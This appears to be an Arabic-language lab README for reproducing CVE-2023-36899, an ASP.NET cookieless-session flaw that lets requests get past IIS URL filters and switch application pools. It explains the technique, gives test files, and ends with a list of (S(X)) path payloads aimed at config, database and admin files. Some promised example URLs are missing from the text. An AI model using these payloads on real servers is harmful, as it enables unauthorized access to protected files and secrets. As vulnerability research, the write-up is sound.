
بيئة وأدوات إعادة إنتاج ثغرة CVE-2023-36899، التي تستهدف تجاوز التحقق من جلسة الهوية بدون cookie في إطار ASP.NET.
بيئة وأدوات إعادة إنتاج لثغرة CVE-2023-36899، والتي تستهدف تجاوز مصادقة الجلسة بدون ملفات تعريف الارتباط في إطار عمل ASP.NET.
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
في تطوير الويب الحديث، على الرغم من أن ملفات تعريف الارتباط (cookies) هي الطريقة المفضلة لنقل معرف الجلسة، إلا أن .NET Framework يوفر أيضًا طريقة بديلة: ترميز معرف الجلسة مباشرة في عنوان URL. تُعرف هذه التقنية باسم ميزة "بدون ملفات تعريف الارتباط" (cookieless) في .NET Framework. يتجاهل العديد من المطورين ومختبرات الأمن هذا الخيار لأنه نادرًا ما يُستخدم في التطبيقات العملية. ومع ذلك، فقد أصبح هذا كنزًا لاكتشاف ثغرات من جانب العميل مثل تثبيت الجلسة (Session Fixation)، واختطاف الجلسة (Session Hijacking)، وحقن HTML، والبرمجة النصية عبر المواقع (XSS). بالإضافة إلى ذلك، يمكن استغلال هذه الميزة لتجاوز قواعد جدار الحماية المستندة إلى المسار والتي لم يتم تكوينها لتحديد طرق بدون ملفات تعريف الارتباط. بسبب المشكلات الأمنية المتأصلة، قام .NET Core والإصدارات اللاحقة من .NET بحذف ميزة بدون ملفات تعريف الارتباط. لكن لا يمكننا نسيان عدد كبير من تطبيقات الويب التي لا تزال تستخدم .NET Framework الكلاسيكي.
النقاط الرئيسية:
يمكن إساءة استخدام ميزة .NET Framework بدون ملفات تعريف الارتباط للوصول إلى الدلائل المحمية أو الدلائل المحظورة بواسطة مرشحات URL الخاصة بـ IIS. على سبيل المثال، ضع في اعتبارك الحالة التالية على موقع victim.com:
عادةً، الوصول إلى هذه الصفحات عبر عناوين URL سيتم حظره في IIS:
ولكن، يمكن استغلال ميزة بدون ملفات تعريف الارتباط للوصول إلى هذه الصفحات من خلال النمط التالي:
كيفية إدارة IIS لتجمعات التطبيقات قد تؤدي إلى تصعيد الامتيازات أو تجاوز الأمان. يمكن التلاعب بميزة .NET Framework بدون ملفات تعريف الارتباط لإجبار تطبيق IIS على استخدام تجمع التطبيقات الأصلي الخاص به بدلاً من تجمع التطبيقات الخاص به. على سبيل المثال:
ملف C# باسم AppPoolPrint.aspx يمكن الوصول إليه في جميع التطبيقات المذكورة أعلاه، ويعرض اسم تجمع التطبيقات الحالي. باستخدام ميزة بدون ملفات تعريف الارتباط مرتين، يمكننا تشغيل هذه الصفحة باستخدام تجمع التطبيقات الأصلي الخاص بها:
وهذا يسمح حتى للصفحات الموجودة في /classic/nodotnet/ (والتي لا ينبغي لها تنفيذ الكود المُدار) بتشغيل صفحات ASPX باستخدام تجمع التطبيقات الأصلي الخاص بها. يمكن أن يؤدي هذا السلوك إلى تصعيد الامتيازات على IIS.
عند تثبيت IIS، اختر:
محتوى اختبار ملف target.aspx:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
محتوى اختبار ملف web.config في الدليل الجذر:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
حيث أن
<sessionState mode="InProc" cookieless="UseCookies" />يعني أن الموقع يستخدم ملفات تعريف الارتباط لتخزين بعض معلومات الجلسة الافتراضية وما إلى ذلك، وهذا هو الإعداد الافتراضي أيضًا.

باستخدام http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx تم الوصول بنجاح

قائمة الحمولات المحتملة:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))/abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899